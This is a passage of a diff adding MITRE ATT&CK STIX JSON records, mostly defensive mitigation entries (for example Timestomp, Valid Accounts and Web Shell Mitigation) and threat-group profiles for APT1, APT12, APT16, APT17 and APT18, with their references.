Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.703Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1209", + "url": "https://attack.mitre.org/mitigations/T1209" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Microsoft W32Time May 2017", + "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.", + "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--a1482e43-f3ff-4fbd-94de-ad1244738166", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Timestomp Mitigation", + "description": "Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:24.250Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1099", + "url": "https://attack.mitre.org/mitigations/T1099" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--5c167af7-c2cb-42c8-ae67-3fb275bf8488", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Transmitted Data Manipulation Mitigation", + "description": "Identify critical business and system processes that may be targeted by adversaries and work to secure communications related to those processes against tampering. Encrypt all important data flows to reduce the impact of tailored modifications on data in transit.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T12:28:59.970Z", + "created": "2019-04-24T17:03:39.689Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1493", + "external_id": "T1493", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--245075bc-f992-4d89-af8c-834c53d403f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Trap Mitigation", + "description": "Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T12:29:22.784Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1154", + "external_id": "T1154", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--809b79cd-be78-4597-88d1-5496d1d9993a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Trusted Relationship Mitigation", + "description": "Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T12:30:35.417Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1199", + "external_id": "T1199", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--797312d4-8a84-4daf-9c56-57da4133c322", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Two-Factor Authentication Interception Mitigation", + "description": "Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.\n\nIdentify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.676Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1111", + "url": "https://attack.mitre.org/mitigations/T1111" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--e8d22ec6-2236-48de-954b-974d17492782", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Uncommonly Used Port Mitigation", + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports. \n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "x_mitre_version": "1.0", + "modified": "2019-07-25T12:31:21.118Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1065", + "external_id": "T1065", + "source_name": "mitre-attack" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--a0d8db1d-a731-4428-8209-c07175f4b1fe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Update Software", + "description": "Perform regular software updates to mitigate exploitation risk.", + "x_mitre_version": "1.0", + "modified": "2020-07-07T12:42:39.005Z", + "id": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "created": "2019-06-11T17:12:55.207Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1051", + "external_id": "M1051", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "User Account Control", + "description": "Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.", + "x_mitre_version": "1.1", + "modified": "2020-03-31T13:49:49.636Z", + "id": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "created": "2019-06-11T17:14:35.170Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1052", + "external_id": "M1052", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "id": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "description": "Manage the creation, modification, use, and permissions associated to user accounts.", + "x_mitre_version": "1.1", + "modified": "2020-05-20T13:49:12.270Z", + "created": "2019-06-06T16:50:58.767Z", + "name": "User Account Management", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1018", + "external_id": "M1018", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "User Execution Mitigation", + "description": "Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.\n\nIf a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .lnk, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and RAR that may be used to conceal malicious files in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).\n\nIf a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T12:31:53.804Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1204", + "external_id": "T1204", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--548bf7ad-e19c-4d74-84bf-84ac4e57f505", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "course-of-action", + "modified": "2020-10-21T19:08:13.228Z", + "name": "User Training", + "description": "Train users to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.2", + "created": "2019-06-06T16:50:04.963Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1017", + "external_id": "M1017", + "source_name": "mitre-attack" + } + ], + "id": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Valid Accounts Mitigation", + "description": "Take measures to detect or prevent techniques such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or installation of keyloggers to acquire credentials through [Input Capture](https://attack.mitre.org/techniques/T1056). Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. \n\nFollow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access) \n\nAudit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. \n\nApplications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured. ", + "x_mitre_version": "1.0", + "modified": "2021-04-05T19:21:28.924Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1078", + "external_id": "T1078", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach", + "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.", + "source_name": "Microsoft Securing Privileged Access" + }, + { + "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx", + "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.", + "source_name": "TechNet Credential Theft" + }, + { + "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx", + "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.", + "source_name": "TechNet Least Privilege" + }, + { + "source_name": "US-CERT Alert TA13-175A Risks of Default Passwords on the Internet", + "description": "US-CERT. (n.d.). Risks of Default Passwords on the Internet. Retrieved April 12, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA13-175A" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--d45f03a8-790a-4f90-b956-cd7e5b8886bf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Video Capture Mitigation", + "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:20.925Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1125", + "url": "https://attack.mitre.org/mitigations/T1125" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "course-of-action", + "modified": "2020-07-14T22:22:06.356Z", + "id": "course-of-action--15437c6d-b998-4a36-be41-4ace3d54d266", + "description": "Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Vulnerability Scanning", + "created": "2019-06-06T16:47:30.700Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1016", + "external_id": "M1016", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Web Service Mitigation", + "description": "Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "x_mitre_version": "1.0", + "modified": "2019-07-25T12:34:04.565Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1102", + "external_id": "T1102", + "source_name": "mitre-attack" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--4689b9fb-dca4-473e-831b-34717ad50c97", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Web Shell Mitigation", + "description": "Ensure that externally facing Web servers are patched regularly to prevent adversary access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages. \n\nAudit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. 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The group mainly targets Colombian government institutions as well as important corporations in the financial sector, petroleum industry, and professional manufacturing.(Citation: QiAnXin APT-C-36 Feb2019)", + "x_mitre_contributors": [ + "Jose Luis S\u00e1nchez Martinez" + ], + "created": "2020-05-05T18:53:08.166Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0099", + "external_id": "G0099", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: QiAnXin APT-C-36 Feb2019)", + "source_name": "Blind Eagle" + }, + { + "url": "https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/", + "description": "QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020.", + "source_name": "QiAnXin APT-C-36 Feb2019" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "APT1", + "description": "[APT1](https://attack.mitre.org/groups/G0006) is a Chinese threat group that has been attributed to the 2nd Bureau of the People\u2019s Liberation Army (PLA) General Staff Department\u2019s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)", + "x_mitre_version": "1.4", + "modified": "2021-05-26T12:23:48.842Z", + "aliases": [ + "APT1", + "Comment Crew", + "Comment Group", + "Comment Panda" + ], + "created": "2017-05-31T21:31:47.955Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0006", + "external_id": "G0006", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Mandiant APT1)", + "source_name": "APT1" + }, + { + "description": "(Citation: Mandiant APT1)", + "source_name": "Comment Crew" + }, + { + "description": "(Citation: Mandiant APT1)", + "source_name": "Comment Group" + }, + { + "description": "(Citation: CrowdStrike Putter Panda)", + "source_name": "Comment Panda" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "APT12", + "description": "[APT12](https://attack.mitre.org/groups/G0005) is a threat group that has been attributed to China. The group has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments.(Citation: Meyers Numbered Panda)", + "x_mitre_version": "2.1", + "modified": "2020-03-30T18:44:59.268Z", + "aliases": [ + "APT12", + "IXESHE", + "DynCalc", + "Numbered Panda", + "DNSCALC" + ], + "created": "2017-05-31T21:31:47.537Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0005", + "external_id": "G0005", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Meyers Numbered Panda) (Citation: Moran 2014)", + "source_name": "APT12" + }, + { + "description": "(Citation: Meyers Numbered Panda) (Citation: Moran 2014)", + "source_name": "IXESHE" + }, + { + "description": "(Citation: Meyers Numbered Panda) (Citation: Moran 2014)", + "source_name": "DynCalc" + }, + { + "description": "(Citation: Meyers Numbered Panda)", + "source_name": "Numbered Panda" + }, + { + "description": "(Citation: Moran 2014)", + "source_name": "DNSCALC" + }, + { + "url": "http://www.crowdstrike.com/blog/whois-numbered-panda/", + "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.", + "source_name": "Meyers Numbered Panda" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html", + "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.", + "source_name": "Moran 2014" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "APT16", + "description": "[APT16](https://attack.mitre.org/groups/G0023) is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)", + "x_mitre_version": "1.1", + "modified": "2020-10-12T19:54:58.537Z", + "aliases": [ + "APT16" + ], + "created": "2017-05-31T21:31:56.270Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0023", + "external_id": "G0023", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye EPS Awakens Part 2)", + "source_name": "APT16" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html", + "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "source_name": "FireEye EPS Awakens Part 2" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "APT17", + "description": "[APT17](https://attack.mitre.org/groups/G0025) is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)", + "x_mitre_version": "1.1", + "modified": "2020-10-13T22:33:14.018Z", + "aliases": [ + "APT17", + "Deputy Dog" + ], + "created": "2017-05-31T21:31:57.307Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0025", + "external_id": "G0025", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye APT17)", + "source_name": "APT17" + }, + { + "description": "(Citation: FireEye APT17)", + "source_name": "Deputy Dog" + }, + { + "source_name": "FireEye APT17", + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "APT18", + "description": "[APT18](https://attack.mitre.org/groups/G0026) is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)", + "x_mitre_version": "2.1", + "modified": "2020-03-30T18:46:16.853Z", + "aliases": [ + "APT18", + "TG-0416", + "Dynamite Panda", + "Threat Group-0416" + ], + "created": "2017-05-31T21:31:57.733Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0026", + "external_id": "G0026", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: ThreatStream Evasion Analysis)(Citation: Anomali Evasive Maneuvers July 2015)", + "source_name": "APT18" + }, + { + "description": "(Citation: ThreatStream Evasion Analysis)(Citation: Anomali Evasive Maneuvers July 2015)", + "source_name": "TG-0416" + }, + { + "description": "(Citation: ThreatStream Evasion Analysis)(Citation: Anomali Evasive Maneuvers July 2015)", + "source_name": "Dynamite Panda" + }, + { + "description": "(Citation: ThreatStream Evasion Analysis)", + "source_name": "Threat Group-0416" + }, + { + "source_name": "Dell Lateral Movement", + "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.", + "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + }, + { + "source_name": "ThreatStream Evasion Analysis", + "description": "Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.", + "url": "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + }, + { + "url": "https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop", + "description": "Shelmire, A. (2015, July 06). Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels. Retrieved November 15, 2018.", + "source_name": "Anomali Evasive Maneuvers July 2015" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "APT19", + "x_mitre_version": "1.4", + "modified": "2021-05-26T12:38:01.003Z", + "created_by_ref": 